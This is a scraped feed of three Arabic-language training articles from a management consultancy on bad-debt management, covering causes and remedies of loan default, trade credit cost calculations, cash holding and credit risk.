ثالثا : تحديد أسلوب الوقاية من تعثر القروض مستقبلا.

وفيما يلي شرح مختصر لتلك المراحل .

المرحلة الأولى – تشخيص حالات التعثر وتحديد أسبابها :

        ويتم التعرف في هذه المرحلة على حالات الديون المتعثرة ودراسة أسبابها ويمكن حصر أسباب التعثر في المجموعات الآتية :

أسباب ترجع إلى البنوك التجارية مانحة الائتمان :

        وتتمثل ذلك الأسباب في التهاون في إجراء الدراسة الائتمانية السابق الإشارة إليها ، وحداثة رجال الاستعلام في البنك ، وتواطؤ بعض العاملين مع العملاء في البنك، وعدم إعطاء العناية الكافية لعمليات المتابعة على الوجه المطلوب ، وكذلك وجود خلل في الضمانات المقدمة من العميل … الخ

       أسباب ترجع إلى العملاء الذين حصلوا على القروض :

        ومثال ذلك صورية القوائم المادية المقدمة واختلال التقديرات الواردة في دراسة الجدوي الاقتصادية للمشروعات وتعثر بعض المشروعات الإنتاجية الخاصة بالعملاء … الخ .

 

أسباب ترجع إلى الظروف العامة :

        وتشمل تلك الظروف تلك العوامل الاجتماعية والاقتصادية والتشريعية التى أثرت على نشاط العملاء ، مثال  مشاكل الضرائب ، والجمارك ، التحديد الجبري للأسعار، والتقلبات في أسعار الصرف ، وتغير القوانين وعدم استقرارها … الخ

المرحلة الثانية – مرحلة تحديد أسلوب العلاج المناسب في ضوء التشخيص السابق:

        ويتم في تلك المرحلة اتخاذ القرار المناسب لمعالجة هذه المشكلة وفى هذه المرحلة يجب على البنك قبل التفاوض مع العميل أن يقوم بوضع تصور للتسوية المناسبة والتى تختلف من عميل لآخر حسب ظروفه وهذه التسويات هي :

  • استمرار التعامل مع العميل بالوضع الحالي مع تقديم مقترحات إرشادية بلتزم بها مثل ( عدم توزيع أرباح- إضافة شركاء جدد – تخفيض المصروفات – الاندماج مع المشروعات المتشابهة ).
  • تقديم تمويل اضافى للعميل ومساعدته في توفير السيولة لدفع النشاط
  • جدولة الديون للعميل ، وتقديم خدمات له مثل إعفاء العميل من جزء من الفوائد أو منها بالكامل ويتوقف ذلك على المركز المالي للعميل ومركزه في البنك .
  • إذا كانت ظروف العميل لا تتناسب مع التسويات السابقة ، فإنه من المحتمل اللجوء للتصور الأخر وهو السير في الإجراءات القانونية المنصوص عليها لتصفية القرض .

***

انتهت بحمد الله المقالة الثالثة لمسار كيم التعليمي لإدارة الديون المتعثرة

إعداد / مركز كيم

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات-إدارة الديون المتعثرة- إعداد / مركز كيم- المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/bad_debt_management-3/feed/ 0 سلسلة مقالات-إدارة الديون المتعثرة- إعداد / مركز كيم- المقالة الثانية https://cameknowledge.camecenter.com/articles/bad_debt_management-2/ https://cameknowledge.camecenter.com/articles/bad_debt_management-2/#respond Sat, 29 Apr 2023 14:46:15 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10552 سلسلة مقالات – إدارة الديون المتعثرة إعداد / مركز كيم المقالة الثانية حساب تكلفة الائتمان التجاري :         تعتمد تكلفة الائتمان التجاري على فكرة رئيسية وهي حالة الخصم النقدي فيكون أمام المشتري الخيار أما أن يحصل على خصم نقدي أو سداد نقدا أو أن تقوم بالسداد في خال مدة معينة وهنا يجب معرفة : أولا […]

The post سلسلة مقالات-إدارة الديون المتعثرة- إعداد / مركز كيم- المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الديون المتعثرة

إعداد / مركز كيم

المقالة الثانية

حساب تكلفة الائتمان التجاري :

        تعتمد تكلفة الائتمان التجاري على فكرة رئيسية وهي حالة الخصم النقدي فيكون أمام المشتري الخيار أما أن يحصل على خصم نقدي أو سداد نقدا أو أن تقوم بالسداد في خال مدة معينة وهنا يجب معرفة :

أولا : شروط الائتمان :

        شروط الائتمان تكتب بهذه الطريقة :

        1/10 صافى 30 يوم

 

يشير إلى نسبة الخصم النقدي هو 1% فترة الاستفادة من الخصم النقدي وهي 10 أيام من تاريخ الشراء وهو الحد الأقصى الذي يجب أن يتم فيها السداد من تاريخ الشراء وبدون الحصول على خصم نقدي

 وهذا يعني أن المشتري سوف يحصل على 1% خصم نقدي إذا ما قام بالسداد خلال 10 أيام من تاريخ الشراء وأن المشتري له مدة 20 يوم بعدة الخصم لسداد المبلغ بالكامل

أو هناك أيضا                   شروط السداد          صافى 30 يوم

هذا يعني أن المشتري يجب أن يسدد المبلغ خلال30 يوم من تاريخ الشراء

تكلفة الائتمان التجاري

                نسبة الخصم                   عدد أيام السنة

                ـــــــ  ×   __________________

                1- نسبة الخصم    فترة عدم الاستفادة من الخصم

 

الفرق بين الحد الاقصي لسداد

القيمة وفترة السداد بخصم

تكلفة القروض :

        تعتمد القروض أساسا على التعاقد الذي يتم بين البنك والشركة ويعتمد التعاقد على الإنفاق حول شروط البنك مع المنشأة من حيث سعر الفائدة وطريقة السداد وتكلفة الاقتراض … الخ من الشروط الذي يتفق عليها البنك وهذا ما سوف تستعرضه في الجزء الأخير.

        وتعتمد تكلفة القروض أساسا على الفوائد ( المصروفات والعمولات ) مقارنة بحجم الاقتراض وعلى المدة التى يستعل خلالها القرض .

فوائد القرض = قيمة القرض × سعر الفائدة × المدة

                    الفوائد+المصروفات+العمولات             عدد أيام السنة

تكلفة الاقتراض = ــــــــــــــــ  × ـــــــــــ

                     الحجم الفعلى للاقتراض                   مدة القرض

مثال :

        عرضت احدي الشركات سياسة الائتمان  الخاصة بها على النحو التالي شروط السداد 2/10 صافى 30 يوم احسب تكلفة الائتمان التجاري .

الحل :

أولا : تفسير شروط السداد

21/10 نسبة الخصم 2%

صافى 30 يوم

فترة عدم الاستفادة من الخصم 20 يوم

                    2%                        360

تكلفة الائتمان  = ـــــــ  × ـــــــــــ

                     1-2%                   30-10

= 2.04 % ×18 = 36.72%

النقدية : Cash

        يقصد بالنقدية العملة الموجودة بخزينة المنشاة بالإضافة إلى الحسابات الموجودة في البنوك التجارية والتى تحتفظ بها المنشأة في شكل حسابات جارية أو ودائع قصيرة الأجل .

   وموضوع النقدية يرتبط بمجموعة من العناصر وهي :

  • كيف يجب أن تصمم المنشأة نظام التحصيل النقدي الواجب الاحتفاظ به ؟
  • ما هو الحد الادني والحد الأقصى من النقدية الواجب الاحتفاظ به ؟
  • كيف يمكن توزيع الاستثمارات في النقدية ؟

وقبل إجابة هذه التساؤلات من الضروري أن نستعرض لماذا تحتفظ المنشآت بالنقدية

 

 

 

أسباب الاحتفاظ بالنقدية :

        من وجهة النظر العامة طالما أن الأصول السائلة ( المتداولة ) تحقق عائد أقل من الأصول طويلة الأجل فان من الضروري أن نتعرف على أسباب الاحتفاظ بالأصول السائلة هناك أربعة أسباب رئيسية للاحتفاظ بالنقدية هم :

1- المعاملات التجارية :

        في نظام العمل اليومي فإن أي منشأة تحتاج لحد أدني من النقدية وذلك لمواجهة التدفقات النقدية الخارجة ، وهذه المتطلبات تشمل العناصر الرئيسية للمدفوعات مثل :

  • الفواتير الشهرية .
  • سداد الموردين
  • سداد الضرائب
  • توزيعات الإرباح
  • سداد أقساط القروض
  • سداد فوائد القروض
  • سداد الأجور والحوافز .

2- تجنب عدم التأكد:

        السبب الثاني للاحتفاظ بالنقدية هو تجنب الإحداث غير المؤكدة في المستقبل والأموال المحتفظ بها لأغراض تجنب عدم التأكد غلبا ما تكن في شكل أوراق مالية والبديل لعدم الاحتفاظ  بالنقدية لمواجهة الطلبات المستقبلية على الأموال هو عمل تسهيلات ائتمانية وهو عبارة عن اتفاقية بين المنشأة والبنك تستطيع من خلالها المنشأة سحب حد معين من الأموال بحد أقصى خلال فترة زمنية معينة .

 

3-التخزين النقدي:

        تحتفظ المنشأة بالنقدية لأغراض الإنفاق الرأسمالي المستقبلى وذلك من أجل شراء الآلات والمعدات أو أيضا شراء  شركات أخري أو دمج لشركات مستقبليا ، وبالمثل فان الشركات في فترات الكساد اقتصادي قد تؤجل عمليات الإنفاق الاستثماري وتقوم بتخزين النقدية بمعني الاحتفاظ بها لفترات مستقبلية .

4-متطلبات الأرصدة التعويضية:

        تقوم البنوك بتقديم مجموعة من الخدمات إلى المنشآت مثل تحصيل الشيكات ، ساد متطلبات أو عمل تحويلات بالإضافة إلى منح القروض وعمل تسهيلات ائتمانية ، وفى هذا فإن البنوك تطلب من المنشآت أن تقوم بالاحتفاظ بأرصدة لديها يطلق عليها الأرصدة التعويضية .

        الرصيد العويضى عبارة عن اتفاق بين البنك والعميل يحتفظ العميل من خلاله بوديعه بحجم معين ولا يستطيع التصرف فيها إلا بانتهاء الاقتراض ، ويتوقف الرصيد التعويضى على حجم القروض الممنوحة للمنشاة وكذلك الخدمات التى يحصل عليها العميل من البنك .

رصيد النقدية :

        يبدأ الرصيد النقدي من خلال تحديد تدفقات الأموال خلال الشركة سواء كان ذلك على أساس يومي ، أسبوعي وشهري ، وبداية حركة النقدية يبدأ العملاء في عملية الشراء مقابل  ما حصلوا عليه من سلعة أو خدمة سواء كان السداد في صورة نقدية أو في صورة شيكات سوف يتم تحصيلها الشكل التالي يشرح الدورة التى تم  خلالها حركة النقدية خلال الشركة .

 ويمكن ذكر أن النقدية في أي منشأة تتأثر أولا  بالمبيعات وشكلها بحيث هل هي مبيعات نقدية أو مبيعات آجلة ثم الحسابات المدينة وهي التى تنشأ عن حدوث بيع بالأجل يلي ذلك المخزون  والذي يخفض من النقدية ثم يتحول إلى مبيعات  وبالرغم من ذلك فهناك عوامل أخري تؤثر على دورة النقدية مثل الأسهم والسندات الفوائد وتوزيعات الأسهم الاقتراض قصير الأجل ، الضرائب ، المواد والخدمات .

 العائد والمخاطرة للاحتفاظ بالنقدية :

        في مقابل  أسباب الاحتفاظ بالنقدية فان الشركات قد تحقق عائد من خلال الاحتفاظ بها والمصادر الرئيسية لفوائد الاحتفاظ بالنقدية هي :

  • الفوائد التى تحصل عليها المنشأة نتيجة استثمار النقدية في الأوراق المالية قصيرة الأجل ، حيث إدارة الأوراق المالية بكفاءة يمكن أن تحقق أرباح وتساهم مساهمة كبيرة في الربحية الكلية للمنشأة.
  • عند الاحتفاظ بالنقدية يمكن أن تستفيد المنشأة من الخصم البعدي الذي يمنحه الموردون حيث قد يعرض الموردون خصم نقدي عند السداد البعدي .
  • قد تحتاج المنشأة في بعض الأحيان للنقدية للاستفادة من فرصة الشراء الفوري ى حالات معينة عندما يكون هناك تخفيضات معينة ومقدار الوفر أو الاستفادة التى تحدث للشركة من الدفع الفوري يعتبر عائد من الاحتفاظ بالنقدية .
  • أخيرا يمكن أن يتأثر حجم الائتمان الذي تحصل عليه المنشأة بحجم الأصول السائلة حيث الاحتفاظ بمستوي منخفض من النقدية قد يؤدي إلى أن تحصل المنشأة على حجم ائتمان مناسب يتناسب مع النقدية المحتفظ بها، وهذا بدوره يؤدي إلى ارتفاع الفوائد على كل من القروض طويلة الأجل وقصيرة الأجل.

أما الجزء الذي يتعلق بالمخاطر المرتبطة بالاحتفاظ بمستوي نقدي منخفض يتمثل في المشاكل التى تظهر نتيجة التدفقات الداخلة مما يؤدي إلى صعوبة السداد بالنسبة للالتزامات المطلوبة ، وفى الحالات الشديدة قد يؤدي إلى إفلاس المنشأة والمخاطر المرتبطة بالنقدية في علاقتها بالعائد تشمل :

  • يجب الاحتفاظ بنقدية سائلة لمواجهة الالتزامات المطلوبة من المنشأة .
  • يجب عدم الاحتفاظ بنقدية أكثر من اللازم حيث أن الاستثمارات طويلة الأجل تحقق عائدا أعلى من الاستثمار قصير الأجل .
  • المحافظ على الحد الادني من النقدية يساعد على إدارة الاستثمارات قصيرة الأجل بكفاءة حتى تضمن عائد مرتفع يتناسب مع المخاطر المرتبطة.وهذه العلاقة بين العائد والمخاطر تقودنا إلى الوصول إلى كيفية تعظيم قيمة المنشأة من خلال قرارات الاستثمار قصير الأجل .

 

 

القرار الائتماني

 

        يتم اتخاذ القرار الائتماني والخاص بالموافقة على منح القروض المطلوبة لعملاؤه في إطار الشرعية الائتمانية  المصرفية ، واستنادا إلى أسس وقواعد سياسة الإقراض الموضوعة والمتفق عليها ، بجانب التعليمات والتوجيهات الدورية التى تصدرها البنوك إلى وحداتها المختلفة كلما دعت الحاجة إلى ذلك لأخذها في الحسبان عند قيامها بتنفيذ عمليات الائتمان .

        ويمر قرار الائتمان المصرفي في البنوك بعدة مراحل أساسية لا يمكن تجاهلها نظرا لتكاملها وترابطها ، حتي يمكن اتخاذ القرار بدقة  ، وبالرغم  من وجود سياسة ائتمانية واضحة وتوافر معظم الضوابط الائتمانية إلا انه توجد بعض المشاكل والمخاطر المتعددة والتى تجدر الإشارة إليها قبل تناول مراحل القرار الائتماني والتى سوف تشير إليها بالمخاطر الائتمانية .

المخاطر الائتماني ( مخاطر القروض ):

        يواجه البنك عند ممارسة عمليات الإقراض مشكلة تقدير المخاطر المختلفة التى تحيط بالقرض ومن ثم يحاول التقليل من أثارها التى قد تمتد ليس فقط إلى عدم تحقيق البنك العائد المتوقع من القرض وإنما إلى خسارة الأموال المقترضة ذاتها .

 وتنقسم المخاطر الائتمانية  إلى :

(أ)المخاطر المتعلقة بالمقترض :

        تتصل هذه المخاطرة بمدي أهلية العميل وصحيته للاقتراض وحسن السمعة والخبرة الكافية ، وكذلك الكفاءة الإدارية والفنية للقائمين بإدارة المنشأة طالبة القرض، وخبرتهم السابقة ، وكذلك تتعلق بالمركز المالي للمنشأة ومدي توازن هيكلها التمويلى وكفاية رأس المال لتحقيق أغراضها .

(ب)المخاطر الخاصة بالنشاط الذي يزاوله المقترض :

        وتختلف طبيعتها وأسبابها بحسب الأنشطة الاقتصادية التى تتفاوت في ظروفها الإنتاجية والتسويقية .

(ج)المخاطر المتعلقة بالعملية المطلوب تمويلها:

        تختلف هذه المخاطر بحسب طبيعة كل عملية ائتمانية وظروفها وضماناتها ، فعلى سبيل المثال فان مخاطر الاقتراض بضمان  بضائع تختلف عن مخاطر الاقتراض بضمان أوراق مالية .

        كما ترتبط مخاطر تمويل المقاولين أساسا بمدي كفاءة المقاول وخربته في العمليات التى يقوم بتنفيذها .

(د) المخاطر المتصلة بالظروف العامة:

1- المخاطر الاقتصادية :

        وهي من أهمل  العوامل المؤثرة على تحديد درجة المخاطر التى يتعرض لها الائتمان ومن أمثلتها القرارات الاقتصادية  التى تتخذها الدولة وما تستلزمه من إجراءات مالية ونقدية وكذلك حالة النشاط الاقتصادي وموقعه من الدورة الاقتصادية أي هل في مرحلة الكساد في مرحلة الرواج والاتجاه العام لهذا النشاط .

 

2- المخاطر السياسية والاجتماعية والقانونية :

        وتتعدد صورها ويتفاوت تأثيرها، ومن أمثلة ذلك المخاطر الناشئة عن التنمية  الاقتصادية لدول أجنبية ، وما ينجم عن مخاطر الحرب وقطع العلاقات مع دولة أجنبية معينة  وصدور بعض التشريعات إلى قد تسمح بتأجيل بعض الديون المصرفية الممنوحة للعملاء .

(هـ) المخاطر الناشئة عن أخطاء البنك :

        مثل  عدم متابعة البنك أحكام اتفاقيات القروض بدقة أو تطورات قيمة الضمان والمحافظة عليه أو الإفراج  بالخطأ عن بعض الضمانات كالبضائع أو الرواق المالية أو الودائع أو عدم المطالبة بسداد أو  تجديد قيمة خطابات الضمان التى تغطي بعض القروض قبل انتهاء صلاحيتها .

(و) المخاطر الناجمة عن فعل الغير :

        قد يتعرض المقترض ذاته بسبب فعل الغير إلى بعض الإخطار التى تؤثر في قدرته على الوفاء بالتزاماته والتى ليس من اليسير حصرها ومن أمثلتها إفلاس أحد كبار مدينى العميل أو نشر معلومات غير  حقيقية عن العميل توحي بسوء مركزه يكون من نتيجتها قيام البنوك المتعاملة معه بالحد من التسهيلات الائتمانية الممنوحة له على ننحو يؤثر على نشاطه .

***

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمي لإدارة الديون المتعثرة

إعداد / مركز كيم

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات-إدارة الديون المتعثرة- إعداد / مركز كيم- المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/bad_debt_management-2/feed/ 0 سلسلة مقالات-إدارة الديون المتعثرة- إعداد / مركز كيم- المقالة الأولى https://cameknowledge.camecenter.com/articles/bad_debt_management-1/ https://cameknowledge.camecenter.com/articles/bad_debt_management-1/#respond Sat, 29 Apr 2023 14:42:33 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10549 سلسلة مقالات – إدارة الديون المتعثرة إعداد / مركز كيم المقالة الأولى مقدمة : Introduction         يعتبر رأس المال العامل من العوامل الرئيسية والهامة المؤثرة فى نجاح الشركات ويعتبر رأس المال العامل أحد الجوانب التى تساهم فى زيادة ثروة الملاك وتعظيم قيمة الشركة كهدف للإدارة بمعني آخر أن الإدارة عندما تهدف إلى تحقيق أرباح يجب […]

The post سلسلة مقالات-إدارة الديون المتعثرة- إعداد / مركز كيم- المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الديون المتعثرة

إعداد / مركز كيم

المقالة الأولى

مقدمة : Introduction

        يعتبر رأس المال العامل من العوامل الرئيسية والهامة المؤثرة فى نجاح الشركات ويعتبر رأس المال العامل أحد الجوانب التى تساهم فى زيادة ثروة الملاك وتعظيم قيمة الشركة كهدف للإدارة بمعني آخر أن الإدارة عندما تهدف إلى تحقيق أرباح يجب أن يكون هناك برنامج لإدارة رأس المال العامل لضمان تحقيق الأهداف .

محتويات الدرس :  Lesson Content

        رأس المال العامل هو عبارة عن الأصول المتداولة أو الأصول سهلة التحويل إلى نقدية بسرعة وبدون خسائر ويتكون رأس المال العامل من:

 

  • النقدية
  • الأوراق المالية
  • الحسابات المدينة وتتضمن :
  • مدينون

ب-أوراق قبض

ج- حسابات مدينة

  • المخزون

 وكثيرا ما يحدث الخلط بين رأس المال العامل وصافى رأس المال العامل حيث يقصد برأس المال العامل هو الأصول المتداولة أما صافى رأس المال العامل هو عبارة عن افرق بين الأصول المتداولة والخصوم المتداولة

صافي رأس المال العامل = الأصول المتداولة – الخصوم المتداولة

        وكما سبق وأن ذكرنا أن حجم رأس المال العامل هو الهام ولذلك نوضح أسباب الاهتمام برأس المال العامل ، ويرجع أهمية رأس  المال العامل إلى :

  • حجم وسرعة تحويل رأس المال العامل يجعله مبدأ إداري أساسى حيث تبين الدراسات أن المديرين الماليين يقضون معظم أوقاتهم فى إدارة المال العامل .

ويعني حجم وسرعة التحويل هو سرعة تحويل الأصل إلى نقدية وبالعكس من نقدية أو أصل .

  • أن العلاقة بين زيادة حجم المبيعات ورأس المال العامل علاقة قوية واضحة فعندما يرتفع حجم المبيعات فان المخزون يزداد وكذلك الحسابات المدينة وهذا بدوره يؤدي إلى الاحتياج إلى مستوي عال من النقدية ولذلك فمن الضروري دراسة رأس المال العامل عند زيادة أو نقص النقدية .
  • تهتم المنشأة فى المقام الأول بتحركات التدفقات النقدية سواء كانت التدفقات النقدية الداخلة شأو التدفقات النقدية الخارجة وبالتالي يتطلب الأمر الاهتمام بمستويات عناصر الأصول المتداولة ومراقبتها وذلك للحفاظ على النجاح بحيث لا يتم زيادة أو خفض عناصر رأس المال العامل بالشكل الذي يؤثر على استمرارية تدفقات الأموال .
  • يعتبر رأس المال العامل ذو أهمية خاصة للمنشأة الصغيرة حيث أن حجم الأصول المتداولة يكون مرتفعا وحتى يمكن أن يستمروا في دنيا الأعمال يتطلب الأمر إدارة ذات كفاءة عالية .

ولما كان الهدف الرئيسي للمنشآت هو تعظيم القيمة الاقتصادية للمنشأة والذى يمكن صياغته  فى شكل آخر وهو تعظيم القيمة السوقية للأسهم فان تطبيق السياسات الإدارية السليمة على رأس المال العامل تؤدي إلى الوصول إلى الهدف ولذلك فان العناصر المستخدمة لتطبيق هذه السياسات يتطلب التعرض لمبادئ التدفقات النقدية ، أسلوب خصم التدفقات النقدية  ، العلاقة بين العائد والمخاطرة وهي عناصر أساسية .

تحويل الأصول  المتداولة :

        العنصر الثاني والهام فى إدارة رأس المال العامل هو كيفية تمويل الأصول المتداولة وهذا يجعلنا ننتقل إلى الخصوم  المتداولة أو التمويل قصير الأجل والتفرقة بين أنواع التحويل يعتمد فى المقام الأول على الأجل كمعيار للتفرقة ولذلك فالتمويل طويل الأجل هو التمويل الذي يكون أجله أكثر من سنة غالبا فى حين أن التمويل قصير الأجل هو التمويل الذي يكون استحقاقه سنة على الأكثر .

        ويعتبر مصدر التمويل المناسب للأصول المتداولة على عناصر مختلفة أهمها :

  • عنصر الخطر.
  • العائد.
  • التدفقات النقدية .

وعند حدوث أي تغير فى هذه العناصر فإنه من الطبيعة أن تتأثر قيمة المنشأة بالارتفاع والانخفاض طبقا لمصادر التمويل وتكلفتها .

 

ويرجع أسباب اختيار التمويل قصير الأجل إلى :

  • مواجهة الاحتياجات الموسمية :

فعندما تتوسع المنشأة فإنها تحتاج إلى زيادة عناصر الأصول المتداولة ، فإنها تعتمد على التمويل قصير الأجل وأيضا عند زيادة التدفقات النقدية الداخلة فإن سداد التمويل يتم .

  • يعتبر التمويل قصير الأجل مكمل للعناصر التمويلية الاخري وكثيرا من المنشآت تستخدم هذا النوع التمويلي بدرجة كافية ولفترات أطول تعويضا عن المصادر الاخري .

مصادر وأهمية التمويل قصير الأجل :

هنا مصادر مختلفة للتمويل قصير الأجل نذكر منها :-

  • الائتمان التجاري .
  • القروض قصيرة الأجل .

1- الائتمان التجاري :

         ينشأ من عمليات الشراء ، وذلك عندما يتم الحصول على البضاعة بدون سداد نقدية وهنا ينشأ ما يسمي حسابات دفع للمنشاة القائمة بالشراء ويطلق على هذه العملية دائنون .

        أما إذا ما تم السداد مقابل شيكات أو  كمبيالات تستحق بعد فترة معينة منها أيضا ينشأ حسابات دفع أيضا ولكن يطلق عليها أوراق قبض حسابات الدفع الناشئة عن الشراء بالأجل يطلق عليها التمويل بالائتمان التجاري أو التمويل التلقائى قصير الأجل  وترجع هذه التسمية إلى أن التوسع فى الحسابات الدائنة تأتي كعملية تلقائية نتيجة عمليات الشراء والتخزين .

تكلفة الائتمان التجاري :

        عند تحليل تكلفة الائتمان التجاري  فإنه من الضروري التفرقة بين التكلفة الظاهرية والتكلفة المستترة ويقصد بالتكلفة الظاهرية  بالتكلفة التى يمكن قياسها بقيمة نقدية ، أما التكلفة المستترة فهي التكلفة التى يصعب تحديدها ، فعلى سبيل المثال تعتبر تكلفة تدهور قيمة الائتمان من عناصر التكلفة المستترة .

        وغالبا من الصعب وضع قيم لمثل هذه التكلفة والتفرقة الثانية بين الدفع الفوري وبين تأجيل الدفع. ويقصد بالدفع الفوري هنا هو  قيام  المنشأة بسداد قيمة الائتمان التجاري فى الوقت المحدد للسداد وهناك احتمالات الأول فى حالة وجود خصم نقدي فإن الاستفادة بالخصم النقدي يعتبر سداد فوري ، الاحتمال الثاني فى حالة  عدم الاستفادة بالخصم النقدي فإن السداد فى التاريخ المحدد يعتبر سداد فوري ، وفى حالة توافر الخصم النقدي ولم يستفاد به يعتبر تأجيل دفع أو فى حالة عدم سداد الفاتورة فى التاريخ المحدد يعتبر تأجيل دفع ولا يعني تأجيل الدفع بطء السداد فلو أن المشتري تجاهل الخصم فإنه أجل الدفع ولم يبطئ السداد والشكل التالي يوضح تصنيف التكاليف إلى ظاهرية ومستترة وكذلك المدفوعات الفورية وتأجيل الدفع.

 

استخدامات الائتمان التجاري وتكلفة

سداد فوري تأجيل السداد
تكلفة ظاهرية

تكلفة مستترة

 لا يوجد

تكلفة يتحملها المشتري من خلال البائع خلال البائع

1-   تكاليف الاحتفاظ

2-   مخصص الائتمان

3-   خسائر الديون المعدومة

 إضاعة الخصم النقدي

تكلفة بطء السداد .

السداد الفوري – تكلفة ظاهرية :

        الجزء العلوي من الشكل يوضح عدم وجود تكلفة ظاهرية فى حالة السداد الفوري وذلك عندما يقوم المشتري بسداد قيمة البضاعة للمورد فى الميعاد تماماً عن طريق الاستفادة من الخصم النقدي فى فترة السماح للخصم أو سداد القيمة الكلية فى نهاية الفترة الممنوحة ، ويقصد بهذا أن السداد الفوري ليس له تكلفة ظاهرية ولكن لا يعني هذا عدم  وجود تكلفة ائتمان تجاري.

السداد الفوري – تكلفة مستترة :

        قد يوجد تكلفة مستترة مرتبطة بالسداد الفوري ولتفسير هذا فإن حساب التكلفة باقى من وجهة نظر المورد ، فبعض المبيعات قد ينشأ عنه ديون معدومة وبالإضافة لهذا فإن المورد يمول عمليات الإنتاجية وبالتالي فمن الصعب أن يقوم المورد بمنح ائتمان دون أخذ هذا فى الاعتبار ، أيضا منح الائتمان يتطلب بعض العمليات مثل فحص سجلات الطالب للائتمان  والتى قد يقوم بها المورد نفسه أو  مؤسسة مالية ويحاول المورد إضافة كل هذه التكاليف عن طريق تسعير المنتج  بسعر أعلى فى حالة الائتمان عن الدفع الفوري وبالطبع تتوقف عناصر التكاليف السابقة على حجم المنافسة وطبيعة الصناعة وكذلك حجم الطلب الكلي على  المنتج  كل هذه العناصر سوف تدخل في الحسبان عند تحديد حجم التكاليف التى يحملها المشتري .

تأجيل الدفع – تكلفة ظاهرية :

        من الجدول السابق وجدنا أن المنشأة قامت بالاستفادة بالخصم وسددت في الوقت أو الفترة المحددة له فلا يوجد تكلفة ظاهرية ، ولكن إذا لم تستفيد بالخصم فإن عدم الاستفادة يؤدي إلى وجود تكلفة ظاهرية ، وهي الفرصة البديلة مقاسة من خلال معدل الفائدة السنوي الناشئ  من عدم الاستفادة بالخصم الأسلوب المبسط لحساب هذه التكلفة هو المقارنة بين قيمة الفاتورة في حالة الاستفادة بالخصم وفى حالة عدم الاستفادة ولحساب ذلك يتم استخدام المعادلة الآتية :

                                 نسبة الخصم         عدد أيام السنة

التكلفة الظاهرية السنوية = ــــــــ    ــــــــ   (66)

                             1- نسبة الخصم           ن

 

حيث

ن= الفرق بين تاريخ الاستحقاق وتاريخ الخصم

يمنح أحد الموردين نظام ائتمان تجاري 2/10 صافى 30 يوم فإذا قامت أحد المنشآت بشراء بشائع بمبلغ 100 ج اسحب التكلفة الظاهرية  عدم الاستفادة بالخصم

الحل

                                      2%              365

التكلفة الظاهرية          = ــــــــ    ــــــــ   = 37.2%

                             100% 200%        30-10

وقد لا تقوم المنشأة السابقة بالسداد في الوقت المحدد وبالتالى فإنها تقوم بتأجيل السداد ، ماذا يحدث لو أن المنشأة قامت بسداد المبلغ بعد 30 يوم وليس في تاريخ الاستحقاق من الطبيعي تنخفض التكلفة الظاهرية نتيجة ذلك وبالتطبيق على المثال السابق نجد أن:

                        2%  365          

التكلفة الظاهرية = ــــــــ  = 24.8%    

                         98%  30          

ويطلق على هذه العملية بمط المدفوعات ومن خلال مط المدفوعات تستطيع المنشآت أن تخفض من تكلفة الائتمان التجاري إلا أن هناك عنصر الخطر والمرتبط بمط المدفوعات

 تأجيل السداد – التكلفة المستترة :

يطلق على عدم السداد في تاريخ الاستحقاق بمط المدفوعات كما سبق أن رأينا في الفقرة السابقة ، حيث أثبتنا أن تأجيل السداد  يؤدي إلى خفض التكلفة الظاهرية لعدم الاستفادة من الخصم النقدي ولكن هذا يؤدي بدوره إلى زيادة التكلفة المستترة حيث يزداد احتمال تدهور قيمة الائتمان بالمنشأة فإذا عرف عن أحد المنشآت أنها تبطئ السداد فإن الموردين قد يقدموا ليها عروض ائتمانية أقل أو يقوم البعض بوقف التعامل مع هذه المنشأة عن طريق الائتمان وتعتبر تكلفة تخفيض الائتمان الممنوح للمنشاة تكلفة مستترة نتيجة مط السداد ويعتمد حجم هذه التكلفة أساسا على الظروف التنافسية بين الموردين والمشترين ويعتمد نجاح مط الائتمان على عدد الموردين فإذا كان عددهم كبير فإن المنشأة تنجح في إتباع مثل هذه السياسة ، وبصرف النظر عن عدد الموردين فإن هناك تكلفة مستترة لتأجيل السداد وأن الموردين يحاولون دائما تقليل التكلفة المستترة.

2- قروض قصيرة الأجل :

        أما النوع الثاني المستخدم في تحويل الأصول المتداولة وهو القروض قصيرة الأجل أو ما يسمي التمويل التفاوضى وترجع التسمية إلى أن المنشأة يجب أن تقوم بعمل مفاوض3ات مع البنوك والمؤسسات المالية للحصول على هذا النوع من التمويل .

حجم التمويل قصير الأجل :

        يختلف حجم التمويل قصير الأجل باختلاف طبيعة نشاط المنشأة ففى حين أن الشركات التجارية تعتمد على حجم تمويل قصير الأجل  كبير ، ويرجع السبب إلى ارتفاع حجم الأصول المتداولة ، أما الشركات الصناعية فهي تعتمد على حجم تمويل من الخصوم المتداولة أقل ، وأن كان لا يمكن أن نذكر أن ذلك قاعدة عامة ولكن يعتمد على الظروف الاقتصادية  وظروف السوق والتغيرات التى تحدث في الشركة .

        ولتوضيح الفروق والاختلافات بين أنواع التمويل المختلفة فإننا يجب أن نتعرف على العوامل الثلاث المؤثرة عليه وهي :

  • الظروف الاقتصادية
  • عوامل الصناعة .
  • طبيعة المنشأة .

 

الظروف الاقتصادية :

